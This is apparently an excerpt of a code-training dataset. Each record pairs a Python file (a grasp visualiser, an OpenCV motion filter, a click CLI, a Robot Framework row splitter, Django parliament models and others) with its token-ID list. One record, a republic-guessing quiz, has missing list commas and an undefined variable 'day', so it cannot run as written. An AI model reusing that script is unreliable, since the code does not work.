13,
13,
1678,
822,
1243,
29918,
4397,
6194,
842,
29898,
1311,
1125,
13,
4706,
1583,
3032,
3198,
29918,
1271,
287,
29918,
23515,
29898,
4397,
6194,
842,
3319,
20073,
13,
13,
1678,
822,
903,
3198,
29918,
1271,
287,
29918,
23515,
29898,
1311,
29892,
5446,
1125,
13,
4706,
363,
1024,
297,
5446,
29889,
657,
29918,
1271,
287,
29918,
5696,
29918,
7039,
7295,
13,
9651,
1158,
353,
679,
5552,
29898,
5415,
29892,
1024,
29897,
13,
9651,
1583,
29889,
9294,
29934,
1759,
267,
29898,
21529,
2392,
29892,
1158,
29892,
29871,
29946,
29906,
29897,
13,
13,
13,
1990,
2866,
5270,
2392,
24376,
313,
348,
27958,
29889,
3057,
8259,
1125,
13,
13,
1678,
822,
1243,
1649,
710,
12035,
1311,
1125,
13,
4706,
1059,
353,
1281,
4151,
524,
2392,
29898,
13,
9651,
6213,
29892,
13,
9651,
525,
5431,
742,
13,
9651,
6702,
29844,
742,
29871,
29946,
29906,
511,
13,
9651,
9657,
29898,
29893,
3424,
271,
2433,
1450,
14151,
29991,
5477,
13,
4706,
1723,
13,
4706,
1583,
29889,
9294,
4597,
4548,
9652,
267,
29898,
13,
9651,
851,
29898,
2704,
511,
13,
9651,
364,
29915,
29985,
4165,
3456,
304,
1246,
869,
29930,
5537,
1078,
7276,
29905,
7449,
742,
13,
4706,
1723,
13,
2
] |
src/verify.py | RaISy-Net/Intelligent_picking | 1 | 48510 | <gh_stars>1-10
import glob
import os
import matplotlib.pyplot as plt
from src.utils.dataset_processing import grasp, image
from src.utils.data.grasp_data import GraspDatasetBase
def save_img(rgb_img,gtbbs,name):
fig = plt.figure(figsize=(10, 10))
plt.ion()
plt.clf()
ax = plt.subplot(111)
ax.imshow(rgb_img)
g=gtbbs[0]
#g=g.as_grasp
g.plot_debug(ax)
ax.set_title('Grasp')
ax.axis('off')
fig.savefig(name)
if __name__=='__main__':
dir='/home/ayush/Desktop/dataset/'
x=125
depth_img = image.DepthImage.from_tiff(dir+'depth'+str(x)+'.png')
gtbbs = grasp.GraspRectangles.load_from_cornell_file(dir+'color'+str(x)+'cpos.txt')
rgb_img = image.Image.from_file(dir+'color'+str(x)+'.png')
save_img(rgb_img,gtbbs,'grasp1.png') | [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
5215,
13149,
13,
5215,
2897,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
13,
3166,
4765,
29889,
13239,
29889,
24713,
29918,
19170,
1053,
25274,
29892,
1967,
13,
3166,
4765,
29889,
13239,
29889,
1272,
29889,
629,
4692,
29918,
1272,
1053,
1632,
4692,
16390,
24541,
5160,
13,
13,
13,
1753,
4078,
29918,
2492,
29898,
23973,
29918,
2492,
29892,
4141,
1327,
29879,
29892,
978,
1125,
13,
12,
1003,
353,
14770,
29889,
4532,
29898,
1003,
2311,
7607,
29896,
29900,
29892,
29871,
29896,
29900,
876,
13,
12,
572,
29873,
29889,
291,
580,
13,
12,
572,
29873,
29889,
695,
29888,
580,
13,
12,
1165,
353,
14770,
29889,
1491,
5317,
29898,
29896,
29896,
29896,
29897,
13,
12,
1165,
29889,
326,
4294,
29898,
23973,
29918,
2492,
29897,
13,
12,
29887,
29922,
4141,
1327,
29879,
29961,
29900,
29962,
13,
12,
29937,
29887,
29922,
29887,
29889,
294,
29918,
629,
4692,
13,
12,
29887,
29889,
5317,
29918,
8382,
29898,
1165,
29897,
13,
12,
1165,
29889,
842,
29918,
3257,
877,
3338,
4692,
1495,
13,
12,
1165,
29889,
8990,
877,
2696,
1495,
13,
12,
1003,
29889,
7620,
1003,
29898,
978,
29897,
13,
13,
361,
4770,
978,
1649,
1360,
29915,
1649,
3396,
1649,
2396,
12,
13,
12,
3972,
2433,
29914,
5184,
29914,
388,
1878,
29914,
17600,
29914,
24713,
22208,
13,
12,
29916,
29922,
29896,
29906,
29945,
13,
12,
19488,
29918,
2492,
353,
1967,
29889,
8498,
386,
2940,
29889,
3166,
29918,
29873,
2593,
29898,
3972,
23097,
19488,
18717,
710,
29898,
29916,
7240,
4286,
2732,
1495,
13,
12,
4141,
1327,
29879,
353,
25274,
29889,
3338,
4692,
7364,
19536,
29889,
1359,
29918,
3166,
29918,
29883,
1398,
514,
29918,
1445,
29898,
3972,
23097,
2780,
18717,
710,
29898,
29916,
7240,
29915,
29883,
1066,
29889,
3945,
1495,
13,
12,
23973,
29918,
2492,
353,
1967,
29889,
2940,
29889,
3166,
29918,
1445,
29898,
3972,
23097,
2780,
18717,
710,
29898,
29916,
7240,
4286,
2732,
1495,
13,
12,
7620,
29918,
2492,
29898,
23973,
29918,
2492,
29892,
4141,
1327,
29879,
5501,
629,
4692,
29896,
29889,
2732,
1495,
2
] |
filter/mot.py | oza6ut0ne/CVStreamer | 0 | 21748 | <filename>filter/mot.py
import time
import cv2
import numpy as np
class Filter(object):
'''detects motions with cv2.BackgroundSubtractorMOG2'''
def __init__(self, params):
self.params = params
try:
varThreshold = float(params[0])
if varThreshold <= 0:
varThreshold = 16
except (KeyError, ValueError, IndexError):
varThreshold = 16
try:
self.learningRate = float(params[1])
except (KeyError, ValueError, IndexError):
self.learningRate = 0.01
self.subtor = cv2.createBackgroundSubtractorMOG2(detectShadows=False, varThreshold=varThreshold)
def apply(self, img):
mask = self.subtor.apply(img, learningRate=self.learningRate)
if (int(time.time() * 1000) % 400) < 200:
img[:, :, 2] |= mask
return img
| [
1,
529,
9507,
29958,
4572,
29914,
14817,
29889,
2272,
13,
5215,
931,
13,
13,
5215,
13850,
29906,
13,
5215,
12655,
408,
7442,
13,
13,
1990,
19916,
29898,
3318,
1125,
13,
1678,
14550,
4801,
522,
29879,
3184,
1080,
411,
13850,
29906,
29889,
10581,
4035,
29873,
28891,
6720,
29954,
29906,
12008,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
8636,
1125,
13,
4706,
1583,
29889,
7529,
353,
8636,
13,
4706,
1018,
29901,
13,
9651,
722,
1349,
12268,
353,
5785,
29898,
7529,
29961,
29900,
2314,
13,
9651,
565,
722,
1349,
12268,
5277,
29871,
29900,
29901,
13,
18884,
722,
1349,
12268,
353,
29871,
29896,
29953,
13,
4706,
5174,
313,
2558,
2392,
29892,
7865,
2392,
29892,
11374,
2392,
1125,
13,
18884,
722,
1349,
12268,
353,
29871,
29896,
29953,
13,
4706,
1018,
29901,
13,
9651,
1583,
29889,
21891,
19907,
353,
5785,
29898,
7529,
29961,
29896,
2314,
13,
4706,
5174,
313,
2558,
2392,
29892,
7865,
2392,
29892,
11374,
2392,
1125,
13,
9651,
1583,
29889,
21891,
19907,
353,
29871,
29900,
29889,
29900,
29896,
13,
13,
4706,
1583,
29889,
1491,
7345,
353,
13850,
29906,
29889,
3258,
10581,
4035,
29873,
28891,
6720,
29954,
29906,
29898,
4801,
522,
2713,
23626,
29922,
8824,
29892,
722,
1349,
12268,
29922,
1707,
1349,
12268,
29897,
13,
13,
1678,
822,
3394,
29898,
1311,
29892,
10153,
1125,
13,
4706,
11105,
353,
1583,
29889,
1491,
7345,
29889,
7302,
29898,
2492,
29892,
6509,
19907,
29922,
1311,
29889,
21891,
19907,
29897,
13,
4706,
565,
313,
524,
29898,
2230,
29889,
2230,
580,
334,
29871,
29896,
29900,
29900,
29900,
29897,
1273,
29871,
29946,
29900,
29900,
29897,
529,
29871,
29906,
29900,
29900,
29901,
13,
9651,
10153,
7503,
29892,
584,
29892,
29871,
29906,
29962,
891,
29922,
11105,
13,
13,
4706,
736,
10153,
13,
2
] |
enumb/__init__.py | tombulled/enumb | 0 | 97833 | from .bases import *
from .enums import *
from .generators import *
from .meta import *
from .models import *
from .types import *
| [
1,
515,
869,
29890,
2129,
418,
1053,
334,
13,
3166,
869,
264,
6762,
418,
1053,
334,
13,
3166,
869,
4738,
4097,
1053,
334,
13,
3166,
869,
7299,
539,
1053,
334,
13,
3166,
869,
9794,
268,
1053,
334,
13,
3166,
869,
8768,
418,
1053,
334,
13,
2
] |
IVTa/2014/BRONNIKOV_I_S/task_6_50.py | YukkaSarasti/pythonintask | 0 | 1608079 | <gh_stars>0
# Задача 6. Вариант 50
# Создайте игру, в которой компьютер загадывает нназвание одной из пятнадцати республик,
# входящих в состав СССР, а игрок должен его угадать.
# <NAME>.
# 25.05.2016
import random
USSR = ["РСФСР", "Украинская ССР", "Белорусская ССР" "Узбекская ССР" "Казахская ССР" "Грузинская ССР" "Азербайджанская ССР" "Литовская ССР" "Молдавская ССР" "Латвийская ССР" "Киргизская ССР" "Таджикская ССР" "Армянская ССР" "Туркменская ССР" "Эстонская ССР"]
number = random.randint(0, 14)
Republics = USSR[number].lower()
inputRepublics = input("Угадайте одну из 15 республик СССР: ")
if (inputRepublics.lower() == day):
out = "\nВы угадали."
else:
out = "\nВы проиграли. Правильный день - " + day + "."
out += " Нажмите Enter для выхода."
input(out)
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
29937,
3982,
840,
1282,
29871,
29953,
29889,
6581,
641,
745,
29932,
29871,
29945,
29900,
30004,
13,
29937,
5579,
8728,
29977,
730,
10689,
1086,
29892,
490,
20935,
16042,
9860,
5460,
1077,
1779,
4184,
20120,
6968,
477,
7617,
1755,
25816,
1866,
469,
10691,
13385,
3432,
811,
1909,
29935,
10862,
29951,
11167,
13,
29937,
490,
14375,
22319,
490,
7923,
12383,
29892,
1097,
10689,
16635,
11213,
4054,
5686,
863,
1779,
840,
1413,
22993,
13,
30004,
13,
29937,
529,
5813,
15513,
30004,
13,
29937,
29871,
29906,
29945,
29889,
29900,
29945,
29889,
29906,
29900,
29896,
29953,
30004,
13,
30004,
13,
5215,
4036,
30004,
13,
29965,
1799,
29934,
353,
6796,
30027,
30008,
30061,
7350,
613,
376,
30053,
3360,
8197,
4484,
857,
7350,
613,
376,
30031,
29919,
843,
16007,
4484,
857,
7350,
29908,
376,
30053,
29972,
29975,
3506,
4484,
857,
7350,
29908,
376,
17831,
23017,
4484,
857,
7350,
29908,
376,
30040,
1086,
22745,
4484,
857,
7350,
29908,
376,
30018,
13690,
25102,
11622,
745,
4484,
857,
7350,
29908,
376,
30050,
29917,
4820,
4484,
857,
7350,
29908,
376,
30017,
29904,
29944,
18244,
4484,
857,
7350,
29908,
376,
30050,
12174,
1221,
29977,
4484,
857,
7350,
29908,
376,
30014,
29917,
29927,
1892,
29972,
4484,
857,
7350,
29908,
376,
30041,
29910,
22858,
29951,
4484,
857,
7350,
29908,
376,
10304,
5010,
29921,
4484,
857,
7350,
29908,
376,
30041,
5179,
29951,
2387,
4484,
857,
7350,
29908,
376,
30082,
1578,
29921,
4484,
857,
7350,
3108,
30004,
13,
4537,
353,
4036,
29889,
9502,
524,
29898,
29900,
29892,
29871,
29896,
29946,
8443,
13,
5612,
803,
29879,
353,
17676,
29934,
29961,
4537,
1822,
13609,
26471,
13,
30004,
13,
2080,
5612,
803,
29879,
353,
1881,
703,
30053,
1779,
840,
29977,
730,
3288,
1864,
1866,
29871,
29896,
29945,
1909,
29935,
10862,
29951,
12383,
29901,
376,
8443,
13,
361,
313,
2080,
5612,
803,
29879,
29889,
13609,
580,
1275,
2462,
1125,
30004,
13,
12,
449,
353,
6634,
29876,
30012,
29982,
863,
1779,
840,
644,
1213,
30004,
13,
2870,
29901,
30004,
13,
12,
449,
353,
6634,
29876,
30012,
29982,
1471,
25087,
644,
29889,
17913,
1221,
24178,
22763,
448,
376,
718,
2462,
718,
376,
1213,
30004,
13,
449,
4619,
376,
2372,
29998,
989,
730,
9041,
3807,
2771,
26352,
1213,
30004,
13,
2080,
29898,
449,
8443,
13,
2
] |
app/grammar.py | bda-19fs/bda-chatbot | 1 | 191596 | <reponame>bda-19fs/bda-chatbot
#!/usr/bin/env python3
import click
import time as watch
from bda_core.use_cases.log.log_info import log_info
from bda_core.use_cases.nlp.correct_grammar import correct_grammar_stream
@click.command()
@click.option(
'-g', '--grammar', type=click.STRING, default='res/custom_ch_grammar.txt',
help='use grammar file to correct words (default is "res/custom_ch_grammar.txt")'
)
def grammar(grammar):
start = watch.time()
doc = click.get_text_stream('stdin', 'utf-8').readlines()
log_info(f'correcting with grammar: {grammar}')
for i, line in enumerate(correct_grammar_stream(doc, grammar)):
click.get_text_stream('stdout', 'utf-8').write(f'{line}')
log_info(f'corrected {i+1} lines')
log_info(f'correction completed in {watch.time() - start}s\n')
if __name__ == '__main__':
grammar()
| [
1,
529,
276,
1112,
420,
29958,
29890,
1388,
29899,
29896,
29929,
5847,
29914,
29890,
1388,
29899,
13496,
7451,
13,
29937,
14708,
4855,
29914,
2109,
29914,
6272,
3017,
29941,
13,
5215,
2828,
13,
5215,
931,
408,
6505,
13,
3166,
289,
1388,
29918,
3221,
29889,
1509,
29918,
11436,
29889,
1188,
29889,
1188,
29918,
3888,
1053,
1480,
29918,
3888,
13,
3166,
289,
1388,
29918,
3221,
29889,
1509,
29918,
11436,
29889,
12938,
29886,
29889,
15728,
29918,
1393,
3034,
1053,
1959,
29918,
1393,
3034,
29918,
5461,
13,
13,
13,
29992,
3808,
29889,
6519,
580,
13,
29992,
3808,
29889,
3385,
29898,
13,
1678,
17411,
29887,
742,
525,
489,
1393,
3034,
742,
1134,
29922,
3808,
29889,
20785,
29892,
2322,
2433,
690,
29914,
6341,
29918,
305,
29918,
1393,
3034,
29889,
3945,
742,
13,
1678,
1371,
2433,
1509,
25437,
934,
304,
1959,
3838,
313,
4381,
338,
376,
690,
29914,
6341,
29918,
305,
29918,
1393,
3034,
29889,
3945,
1159,
29915,
13,
29897,
13,
1753,
25437,
29898,
1393,
3034,
1125,
13,
1678,
1369,
353,
6505,
29889,
2230,
580,
13,
1678,
1574,
353,
2828,
29889,
657,
29918,
726,
29918,
5461,
877,
4172,
262,
742,
525,
9420,
29899,
29947,
2824,
949,
9012,
580,
13,
13,
1678,
1480,
29918,
3888,
29898,
29888,
29915,
15728,
292,
411,
25437,
29901,
426,
1393,
3034,
29913,
1495,
13,
13,
1678,
363,
474,
29892,
1196,
297,
26985,
29898,
15728,
29918,
1393,
3034,
29918,
5461,
29898,
1514,
29892,
25437,
22164,
13,
4706,
2828,
29889,
657,
29918,
726,
29918,
5461,
877,
25393,
742,
525,
9420,
29899,
29947,
2824,
3539,
29898,
29888,
29915,
29912,
1220,
29913,
1495,
13,
13,
1678,
1480,
29918,
3888,
29898,
29888,
29915,
15728,
287,
426,
29875,
29974,
29896,
29913,
3454,
1495,
13,
1678,
1480,
29918,
3888,
29898,
29888,
29915,
2616,
276,
428,
8676,
297,
426,
12344,
29889,
2230,
580,
448,
1369,
29913,
29879,
29905,
29876,
1495,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
25437,
580,
13,
2
] |
src/robotide/lib/robot/writer/rowsplitter.py | veryl-technologies/t24-tests-ide | 8 | 145319 | <gh_stars>1-10
# Copyright 2008-2012 Nokia Siemens Networks Oyj
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import itertools
class RowSplitter(object):
_comment_mark = '#'
_empty_cell_escape = '${EMPTY}'
_line_continuation = '...'
_setting_table = 'setting'
_tc_table = 'test case'
_kw_table = 'keyword'
def __init__(self, cols=8, split_multiline_doc=True):
self._cols = cols
self._split_multiline_doc = split_multiline_doc
def split(self, row, table_type):
if not row:
return self._split_empty_row()
indent = self._get_indent(row, table_type)
if self._split_multiline_doc and self._is_doc_row(row, table_type):
return self._split_doc_row(row, indent)
return self._split_row(row, indent)
def _split_empty_row(self):
yield []
def _get_indent(self, row, table_type):
indent = len(list(itertools.takewhile(lambda x: x == '', row)))
min_indent = 1 if table_type in [self._tc_table, self._kw_table] else 0
return max(indent, min_indent)
def _is_doc_row(self, row, table_type):
if table_type == self._setting_table:
return len(row) > 1 and row[0] == 'Documentation'
if table_type in [self._tc_table, self._kw_table]:
return len(row) > 2 and row[1] == '[Documentation]'
return False
def _split_doc_row(self, row, indent):
first, rest = self._split_doc(row[indent+1])
yield row[:indent+1] + [first] + row[indent+2:]
while rest:
current, rest = self._split_doc(rest)
current = [self._line_continuation, current] if current else [self._line_continuation]
yield self._indent(current, indent)
def _split_doc(self, doc):
if '\\n' not in doc:
return doc, ''
if '\\n ' in doc:
doc = doc.replace('\\n ', '\\n')
return doc.split('\\n', 1)
def _split_row(self, row, indent):
while row:
current, row = self._split(row)
yield self._escape_last_empty_cell(current)
if row and indent + 1 < self._cols:
row = self._indent(row, indent)
def _split(self, data):
row, rest = data[:self._cols], data[self._cols:]
self._in_comment = any(c.startswith(self._comment_mark) for c in row)
rest = self._add_line_continuation(rest)
return row, rest
def _add_line_continuation(self, data):
if data:
if self._in_comment and not data[0].startswith(self._comment_mark):
data[0] = self._comment_mark + data[0]
data = [self._line_continuation] + data
return data
def _escape_last_empty_cell(self, row):
if not row[-1].strip():
row[-1] = self._empty_cell_escape
return row
def _indent(self, row, indent):
return [''] * indent + row
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
29937,
29871,
14187,
1266,
29871,
29906,
29900,
29900,
29947,
29899,
29906,
29900,
29896,
29906,
405,
554,
423,
317,
3768,
575,
8527,
29879,
438,
17472,
13,
29937,
13,
29937,
29871,
10413,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
1552,
376,
29931,
293,
1947,
1496,
13,
29937,
29871,
366,
1122,
451,
671,
445,
934,
5174,
297,
752,
13036,
411,
278,
19245,
29889,
13,
29937,
29871,
887,
1122,
4017,
263,
3509,
310,
278,
19245,
472,
13,
29937,
13,
29937,
418,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
29937,
13,
29937,
29871,
25870,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
29892,
7047,
13,
29937,
29871,
13235,
1090,
278,
19245,
338,
13235,
373,
385,
376,
3289,
8519,
29908,
350,
3289,
3235,
29892,
13,
29937,
29871,
399,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
476,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
13,
29937,
29871,
2823,
278,
19245,
363,
278,
2702,
4086,
14765,
1076,
11239,
322,
13,
29937,
29871,
27028,
1090,
278,
19245,
29889,
13,
13,
5215,
4256,
8504,
13,
13,
13,
1990,
11438,
18772,
357,
29898,
3318,
1125,
13,
1678,
903,
9342,
29918,
3502,
353,
16321,
29915,
13,
1678,
903,
6310,
29918,
3729,
29918,
21587,
353,
525,
5303,
29923,
3580,
15631,
10162,
13,
1678,
903,
1220,
29918,
20621,
362,
353,
525,
856,
29915,
13,
1678,
903,
26740,
29918,
2371,
353,
525,
26740,
29915,
13,
1678,
903,
14246,
29918,
2371,
353,
525,
1688,
1206,
29915,
13,
1678,
903,
11022,
29918,
2371,
353,
525,
26766,
29915,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
28730,
29922,
29947,
29892,
6219,
29918,
4713,
309,
457,
29918,
1514,
29922,
5574,
1125,
13,
4706,
1583,
3032,
22724,
353,
28730,
13,
4706,
1583,
3032,
5451,
29918,
4713,
309,
457,
29918,
1514,
353,
6219,
29918,
4713,
309,
457,
29918,
1514,
13,
13,
1678,
822,
6219,
29898,
1311,
29892,
1948,
29892,
1591,
29918,
1853,
1125,
13,
4706,
565,
451,
1948,
29901,
13,
9651,
736,
1583,
3032,
5451,
29918,
6310,
29918,
798,
580,
13,
4706,
29536,
353,
1583,
3032,
657,
29918,
12860,
29898,
798,
29892,
1591,
29918,
1853,
29897,
13,
4706,
565,
1583,
3032,
5451,
29918,
4713,
309,
457,
29918,
1514,
322,
1583,
3032,
275,
29918,
1514,
29918,
798,
29898,
798,
29892,
1591,
29918,
1853,
1125,
13,
9651,
736,
1583,
3032,
5451,
29918,
1514,
29918,
798,
29898,
798,
29892,
29536,
29897,
13,
4706,
736,
1583,
3032,
5451,
29918,
798,
29898,
798,
29892,
29536,
29897,
13,
13,
1678,
822,
903,
5451,
29918,
6310,
29918,
798,
29898,
1311,
1125,
13,
4706,
7709,
5159,
13,
13,
1678,
822,
903,
657,
29918,
12860,
29898,
1311,
29892,
1948,
29892,
1591,
29918,
1853,
1125,
13,
4706,
29536,
353,
7431,
29898,
1761,
29898,
1524,
8504,
29889,
19730,
8000,
29898,
2892,
921,
29901,
921,
1275,
15516,
1948,
4961,
13,
4706,
1375,
29918,
12860,
353,
29871,
29896,
565,
1591,
29918,
1853,
297,
518,
1311,
3032,
14246,
29918,
2371,
29892,
1583,
3032,
11022,
29918,
2371,
29962,
1683,
29871,
29900,
13,
4706,
736,
4236,
29898,
12860,
29892,
1375,
29918,
12860,
29897,
13,
13,
1678,
822,
903,
275,
29918,
1514,
29918,
798,
29898,
1311,
29892,
1948,
29892,
1591,
29918,
1853,
1125,
13,
4706,
565,
1591,
29918,
1853,
1275,
1583,
3032,
26740,
29918,
2371,
29901,
13,
9651,
736,
7431,
29898,
798,
29897,
1405,
29871,
29896,
322,
1948,
29961,
29900,
29962,
1275,
525,
6268,
362,
29915,
13,
4706,
565,
1591,
29918,
1853,
297,
518,
1311,
3032,
14246,
29918,
2371,
29892,
1583,
3032,
11022,
29918,
2371,
5387,
13,
9651,
736,
7431,
29898,
798,
29897,
1405,
29871,
29906,
322,
1948,
29961,
29896,
29962,
1275,
525,
29961,
6268,
362,
29962,
29915,
13,
4706,
736,
7700,
13,
13,
1678,
822,
903,
5451,
29918,
1514,
29918,
798,
29898,
1311,
29892,
1948,
29892,
29536,
1125,
13,
4706,
937,
29892,
1791,
353,
1583,
3032,
5451,
29918,
1514,
29898,
798,
29961,
12860,
29974,
29896,
2314,
13,
4706,
7709,
1948,
7503,
12860,
29974,
29896,
29962,
718,
518,
4102,
29962,
718,
1948,
29961,
12860,
29974,
29906,
17531,
13,
4706,
1550,
1791,
29901,
13,
9651,
1857,
29892,
1791,
353,
1583,
3032,
5451,
29918,
1514,
29898,
5060,
29897,
13,
9651,
1857,
353,
518,
1311,
3032,
1220,
29918,
20621,
362,
29892,
1857,
29962,
565,
1857,
1683,
518,
1311,
3032,
1220,
29918,
20621,
362,
29962,
13,
9651,
7709,
1583,
3032,
12860,
29898,
3784,
29892,
29536,
29897,
13,
13,
1678,
822,
903,
5451,
29918,
1514,
29898,
1311,
29892,
1574,
1125,
13,
4706,
565,
525,
1966,
29876,
29915,
451,
297,
1574,
29901,
13,
9651,
736,
1574,
29892,
6629,
13,
4706,
565,
525,
1966,
29876,
525,
297,
1574,
29901,
13,
9651,
1574,
353,
1574,
29889,
6506,
877,
1966,
29876,
13420,
525,
1966,
29876,
1495,
13,
4706,
736,
1574,
29889,
5451,
877,
1966,
29876,
742,
29871,
29896,
29897,
13,
13,
1678,
822,
903,
5451,
29918,
798,
29898,
1311,
29892,
1948,
29892,
29536,
1125,
13,
4706,
1550,
1948,
29901,
13,
9651,
1857,
29892,
1948,
353,
1583,
3032,
5451,
29898,
798,
29897,
13,
9651,
7709,
1583,
3032,
21587,
29918,
4230,
29918,
6310,
29918,
3729,
29898,
3784,
29897,
13,
9651,
565,
1948,
322,
29536,
718,
29871,
29896,
529,
1583,
3032,
22724,
29901,
13,
18884,
1948,
353,
1583,
3032,
12860,
29898,
798,
29892,
29536,
29897,
13,
13,
1678,
822,
903,
5451,
29898,
1311,
29892,
848,
1125,
13,
4706,
1948,
29892,
1791,
353,
848,
7503,
1311,
3032,
22724,
1402,
848,
29961,
1311,
3032,
22724,
17531,
13,
4706,
1583,
3032,
262,
29918,
9342,
353,
738,
29898,
29883,
29889,
27382,
2541,
29898,
1311,
3032,
9342,
29918,
3502,
29897,
363,
274,
297,
1948,
29897,
13,
4706,
1791,
353,
1583,
3032,
1202,
29918,
1220,
29918,
20621,
362,
29898,
5060,
29897,
13,
4706,
736,
1948,
29892,
1791,
13,
13,
1678,
822,
903,
1202,
29918,
1220,
29918,
20621,
362,
29898,
1311,
29892,
848,
1125,
13,
4706,
565,
848,
29901,
13,
9651,
565,
1583,
3032,
262,
29918,
9342,
322,
451,
848,
29961,
29900,
1822,
27382,
2541,
29898,
1311,
3032,
9342,
29918,
3502,
1125,
13,
18884,
848,
29961,
29900,
29962,
353,
1583,
3032,
9342,
29918,
3502,
718,
848,
29961,
29900,
29962,
13,
9651,
848,
353,
518,
1311,
3032,
1220,
29918,
20621,
362,
29962,
718,
848,
13,
4706,
736,
848,
13,
13,
1678,
822,
903,
21587,
29918,
4230,
29918,
6310,
29918,
3729,
29898,
1311,
29892,
1948,
1125,
13,
4706,
565,
451,
1948,
14352,
29896,
1822,
17010,
7295,
13,
9651,
1948,
14352,
29896,
29962,
353,
1583,
3032,
6310,
29918,
3729,
29918,
21587,
13,
4706,
736,
1948,
13,
13,
1678,
822,
903,
12860,
29898,
1311,
29892,
1948,
29892,
29536,
1125,
13,
4706,
736,
6024,
2033,
334,
29536,
718,
1948,
13,
2
] |
parlaskupine/models.py | VesterDe/parlalize | 1 | 185906 | # -*- coding: utf-8 -*-
from django.db import models
from django.utils.encoding import python_2_unicode_compatible
from django.utils.translation import ugettext_lazy as _
from parlaposlanci.models import *
from parlaseje.models import *
from jsonfield import JSONField
from behaviors.models import Timestampable
# converting datetime to popolo
class PopoloDateTimeField(models.DateTimeField):
def get_popolo_value(self, value):
return str(datetime.strftime(value, '%Y-%m-%d'))
# Create your models here.
@python_2_unicode_compatible
class Organization(Timestampable, models.Model):
"""
A group with a common purpose or reason for existence that goes beyond the set of people belonging to it
"""
name = models.TextField(_('name'),
help_text=_('A primary name, e.g. a legally recognized name'))
id_parladata = models.IntegerField(_('parladata id'),
blank=True,
null=True,
help_text=_('id parladata'))
classification = models.TextField(_('Classification'),
blank=True,
null=True,
help_text=_('Organization calssification.'))
acronym = models.CharField(_('acronym'),
blank = True,
null = True,
max_length = 128,
help_text=_('Organization acronym'))
is_coalition = models.BooleanField(_('coalition'),
default=False)
def __str__(self):
return unicode(self.name) + " " + str(self.id_parladata)
def getOrganizationData(self):
return {
'id': self.id_parladata,
'name': self.name,
'acronym': self.acronym,
'is_coalition': self.is_coalition,
}
class PGStatic(Timestampable, models.Model):
organization = models.ForeignKey('Organization',
help_text=_('Organization foreign key relationship'))
created_for = models.DateField(_('date of activity'),
blank=True,
null=True,
help_text=_('date of analize'))
headOfPG = models.ForeignKey('parlaposlanci.Person',
null = True,
related_name='PGStaticH', help_text=_('Head of MP'))
viceOfPG = JSONField(blank=True, null=True)
numberOfSeats = models.IntegerField(blank = True,
null = True,
help_text = _('Number of seats in parlament of PG'))
allVoters = models.IntegerField(blank=True,
null=True,
help_text=_('Number of voters'))
facebook = models.TextField(blank=True,
null=True,
default=None,
help_text=_('Facebook profile URL'))
twitter = models.TextField(blank=True,
null=True,
default=None,
help_text=_('Twitter profile URL'))
email = models.TextField(blank=True,
null=True,
default=None,
help_text=_('email profile URL'))
class PercentOFAttendedSession(Timestampable, models.Model): #Model for presence of PG on sessions
organization = models.ForeignKey('Organization',
blank=True, null=True,
related_name='childrenPG',
help_text=_('PG'))
created_for = models.DateField(_('date of activity'),
blank=True,
null=True,
help_text=_('date of analize'))
organization_value_sessions = models.FloatField(_('Presence of this PG'),
blank=True, null=True,
help_text=_('Presence of this PG'))
maxPG_sessions = JSONField(blank=True, null=True,
help_text=_('PG who has max prfesence of sessions'))
average_sessions = models.FloatField(_('average'),
blank=True, null=True,
help_text=_('Average of PG attended sessions'))
maximum_sessions = models.FloatField(_('max'),
blank=True, null=True,
help_text=_('Max of PG attended sessions'))
organization_value_votes = models.FloatField(_('Presence of this PG'),
blank=True, null=True,
help_text=_('Presence of this PG'))
maxPG_votes = JSONField(blank=True, null=True,
help_text=_('PG who has max prfesence of sessions'))
average_votes = models.FloatField(_('average'),
blank=True, null=True,
help_text=_('Average of PG attended sessions'))
maximum_votes = models.FloatField(_('max'),
blank=True, null=True,
help_text=_('Max of PG attended sessions'))
class MPOfPg(Timestampable, models.Model):
organization = models.ForeignKey('Organization',
blank=True, null=True,
related_name='MPOfPg_',
help_text=_('PG'))
id_parladata = models.IntegerField(_('parladata id'),
blank=True, null=True,help_text=_('id parladata'))
MPs = JSONField(blank=True, null=True)
created_for = models.DateField(_('date of activity'),
blank=True,
null=True,
help_text=_('date of analize'))
class MostMatchingThem(Timestampable, models.Model):
organization = models.ForeignKey('Organization',
blank=True, null=True,
related_name='childrenMMT',
help_text=_('PG'))
created_for = models.DateField(_('date of analize'),
blank=True,
null=True,
help_text=_('date of analize'))
person1 = models.ForeignKey('parlaposlanci.Person',
blank=True, null=True,
related_name='childrenMMT1',
help_text=_('MP1'))
votes1 = models.FloatField(_('MatchingThem1'),
blank=True, null=True,
help_text=_('MatchingThem'))
person2 = models.ForeignKey('parlaposlanci.Person',
blank=True, null=True,
related_name='childrenMMT2',
help_text=_('MP2'))
votes2 = models.FloatField(_('MatchingThem2'),
blank=True, null=True,
help_text=_('MatchingThem'))
person3 = models.ForeignKey('parlaposlanci.Person',
blank=True, null=True,
related_name='childrenMMT3',
help_text=_('MP3'))
votes3 = models.FloatField(_('MatchingThem3'),
blank=True, null=True,
help_text=_('MatchingThem'))
person4 = models.ForeignKey('parlaposlanci.Person',
blank=True, null=True,
related_name='childrenMMT4',
help_text=_('MP4'))
